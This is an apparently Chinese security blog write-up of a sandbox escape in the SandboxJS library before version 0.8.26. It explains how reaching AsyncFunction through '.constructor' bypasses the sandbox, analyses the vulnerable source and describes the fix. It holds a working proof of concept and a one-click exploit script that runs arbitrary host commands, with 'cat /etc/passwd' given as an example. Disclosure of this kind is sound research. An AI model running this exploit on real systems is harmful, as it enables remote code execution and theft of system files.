CVE-2026-23830: 满分漏洞-sandboxjs 沙盒逃逸漏洞分析
SandboxJS <0.8.26因未沙盒化AsyncFunction等构造器,可通过.constructor获取原生构造器实现沙盒逃逸与远程代码执行。
满分漏洞-sandboxjs 沙盒逃逸漏洞分析
漏洞描述
SandboxJS 是一个基于 JavaScript 的沙箱库。0.8.26 之前的版本存在沙箱逃逸漏洞,因为“AsyncFunction”未被隔离在“SandboxFunction”中。该库尝试通过用安全的沙盒版本(“SandboxFunction”)替换全局的“Function”构造函数来实现代码的沙盒执行。在“utils.ts”中,通过将“Function”映射到用于查找的映射中的“sandboxFunction”来实现。然而,在 0.8.26 版本之前,库中没有包含“AsyncFunction”、“GeneratorFunction”和“AsyncGeneratorFunction”的映射。这些构造子不是全局属性,但可以通过实例的“.constructor”属性访问(例如,'(async () => {}).constructor')。在“executor.ts”中,财产进入被处理。当沙箱内运行的代码访问异步函数的“.constructor”(沙箱允许创建该函数)时,“执行者”会检索该属性值。由于“AsyncFunction”不在安全替换映射中,“执行者”返回的是实际的本地主机“AsyncFunction”构造函数。JavaScript 中的函数构造器(如“Function”、“AsyncFunction”)创建在全局作用域内执行的函数。通过获得主机“AsyncFunction”构造函数,攻击者可以创建一个新的异步函数,完全在沙箱上下文之外执行,绕过所有限制,获得对主机环境的完全访问权限(远程代码执行)。版本 0.8.26 修复了该漏洞。

环境搭建
安装受影响的 sandboxjs 版本(< 0.8.26):
npm install @nyariv/sandboxjs@0.8.25漏洞复现
创建异步函数获取构造器
首先,我们在沙盒内创建一个异步函数,然后通过 .constructor 属性访问 AsyncFunction 构造器:
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();
const payload = `
const af = async () => {};
const AsyncConstructor = af.constructor;
console.log("AsyncConstructor name:", AsyncConstructor.name);
`;
s.compile(payload)().run();
我们成功获取到了 AsyncFunction 构造器。关键在于,这个构造器并不是沙盒提供的安全版本,而是宿主环境的真实构造器
创建沙盒外函数执行恶意代码
有了 AsyncFunction 构造器后,我们就可以创建在全局作用域执行的函数,绕过沙盒的所有限制:
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();
const payload = `
const af = async () => {};
const AsyncConstructor = af.constructor;
// 使用真实的 AsyncFunction 构造器创建函数
const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('open -a Calculator').toString()");
const p = func();
p.then(proc => {
console.log(proc);
});
`;
s.compile(payload)().run();
成功在本机执行了命令
一键利用脚本
#!/usr/bin/env node
const sandbox = require('@nyariv/sandboxjs');
function exploitSandbox(command = 'id') {
const s = new sandbox.default();
const payload = `
const af = async () => {};
const AsyncConstructor = af.constructor;
const func = AsyncConstructor(\`return process.mainModule.require('child_process').execSync('${command}').toString()\`);
const p = func();
p.then(proc => {
console.log('[+] 命令执行结果:');
console.log(proc);
});
`;
try {
console.log('[+] 正在尝试沙盒逃逸...');
s.compile(payload)().run();
console.log('[+] 沙盒逃逸成功!');
} catch (e) {
console.error('[-] 沙盒逃逸失败:', e.message);
}
}
// 使用示例
if (require.main === module) {
const command = process.argv[2] || 'whoami';
exploitSandbox(command);
}
module.exports = exploitSandbox;使用方法:
# 执行默认命令
node poc.js
# 执行自定义命令
node poc.js "cat /etc/passwd"
node poc.js "ls -la"
漏洞分析
安全函数映射不完整
文件位置: node_modules/@nyariv/sandboxjs/dist/utils.js
function createExecContext(sandbox, executionTree, evalContext) {
const evals = new Map();
const execContext = new ExecContext(sandbox.context, executionTree.constants, executionTree.tree, new Set(), new WeakMap(), new WeakMap(), sandbox.setSubscriptions, sandbox.changeSubscriptions, evals, (fn) => sandbox.sandboxFunctions.set(fn, execContext), !!evalContext, evalContext);
if (evalContext) {
const func = evalContext.sandboxFunction(execContext);
evals.set(Function, func);
evals.set(eval, evalContext.sandboxedEval(func));
evals.set(setTimeout, evalContext.sandboxedSetTimeout(func));
evals.set(setInterval, evalContext.sandboxedSetInterval(func));
}
return execContext;
}这段代码是沙盒初始化的核心逻辑。我们可以看到,代码创建了一个 evals Map,用于存储危险函数到安全沙盒版本的映射关系。通过 evals.set() 方法,代码将 Function、eval、setTimeout、setInterval 这些危险的全局函数映射到了安全的沙盒版本。
但问题在于没有完全:代码只映射了 Function,遗漏了 AsyncFunction、GeneratorFunction 和 AsyncGeneratorFunction,当我们尝试访问这些构造器时,沙盒根本就没有安全的替换版本,只能返回我们本机真实环境的真实构造器。
属性访问直接返回真实构造器
文件位置: node_modules/@nyariv/sandboxjs/dist/executor.js
addOps(1 /* LispType.Prop */, (exec, done, ticks, a, b, obj, context, scope) => {
if (a === null) {
throw new TypeError(`Cannot get property ${b} of null`);
}
const type = typeof a;
if (type === 'undefined' && obj === undefined) {
const prop = scope.get(b);
if (prop.context === context.ctx.sandboxGlobal) {
if (context.ctx.options.audit) {
context.ctx.auditReport?.globalsAccess.add(b);
}
const rep = context.ctx.globalsWhitelist.has(context.ctx.sandboxGlobal[b])
? context.evals.get(context.ctx.sandboxGlobal[b])
: undefined;
if (rep) {
done(undefined, rep);
return;
}
}
if (prop.context && prop.context[b] === globalThis) {
done(undefined, context.ctx.globalScope.get('this'));
return;
}
done(undefined, prop);
return;
}
else if (a === undefined) {
throw new SandboxError("Cannot get property '" + b + "' of undefined");
}
// ... 后续代码处理对象属性访问
});这段代码负责拦截沙盒内的所有属性访问操作。当我们在沙盒内执行 af.constructor 时,这个拦截器就会被触发。
关键逻辑在这里:代码首先尝试通过 context.evals.get(context.ctx.sandboxGlobal[b]) 查找是否有该属性的安全替换版本。如果找到了(rep 不为 undefined),就返回安全版本;如果没找到,就继续执行后面的逻辑,最终通过 done(undefined, prop) 返回原始属性值。
由于步骤 1 中 evals Map 没有 AsyncFunction 的映射,所以 context.evals.get() 返回 undefined,rep 为假,代码跳过安全替换的分支,直接返回了 prop,也就是真实环境中的 AsyncFunction 构造器
就这样,我们就成功获取到了一个可以在全局作用域创建函数的构造器,绕过沙盒的防护机制
漏洞修复
官方在 v0.8.26 版本中修复了这个漏洞(Commit 345aee6)
不仅拦截构造器访问,还确保即使获取到构造器,创建的函数也仍然在沙盒控制之下
捕获原生构造器引用
文件: src/utils.ts
首先,在文件开头获取原生 AsyncFunction 构造器的引用,用于后续识别和拦截:
// 捕获原生构造器引用
export const AsyncFunction: Function = Object.getPrototypeOf(async function () {}).constructor;
export const GeneratorFunction: Function = Object.getPrototypeOf(function* () {}).constructor;
export const AsyncGeneratorFunction: Function = Object.getPrototypeOf(async function* () {}).constructor;实现沙盒化的 AsyncFunction
文件: src/eval.ts
新增 sandboxAsyncFunction 函数,创建一个沙盒版本的 AsyncFunction 构造器:
export type SandboxAsyncFunction = (code: string, ...args: string[]) => () => Promise<unknown>;
export function sandboxAsyncFunction(context: IExecContext, ticks?: Ticks): SandboxAsyncFunction {
return SandboxAsyncFunction;
function SandboxAsyncFunction(...params: string[]) {
const code = params.pop() || '';
const parsed = parse(code);
return createFunctionAsync(
params,
parsed.tree,
ticks || currentTicks.current,
{
...context,
constants: parsed.constants,
tree: parsed.tree,
},
undefined,
'anonymous'
);
}
}
这个沙盒版本的构造器确保所有动态创建的异步函数都经过沙盒编译,仍然受到沙盒的约束
映射原生构造器到沙盒版本

官方修复采用了替换 + 沙盒化的双重防护:
- 拦截层:将原生构造器映射到沙盒版本,防止直接访问
- 沙盒层:即使获取到构造器,创建的函数也通过沙盒编译,仍然受限
这种深度防御策略确保了即使攻击者绕过第一层防护,也无法逃逸沙盒环境。
免责声明
本报告仅用于安全研究和教育目的,不对任何滥用本报告内容造成的后果负责
SandboxJS <0.8.26因未沙盒化AsyncFunction等构造器,可通过.constructor获取原生构造器实现沙盒逃逸与远程代码执行。
由 AI 根据全文自动生成,仅供参考,以原文为准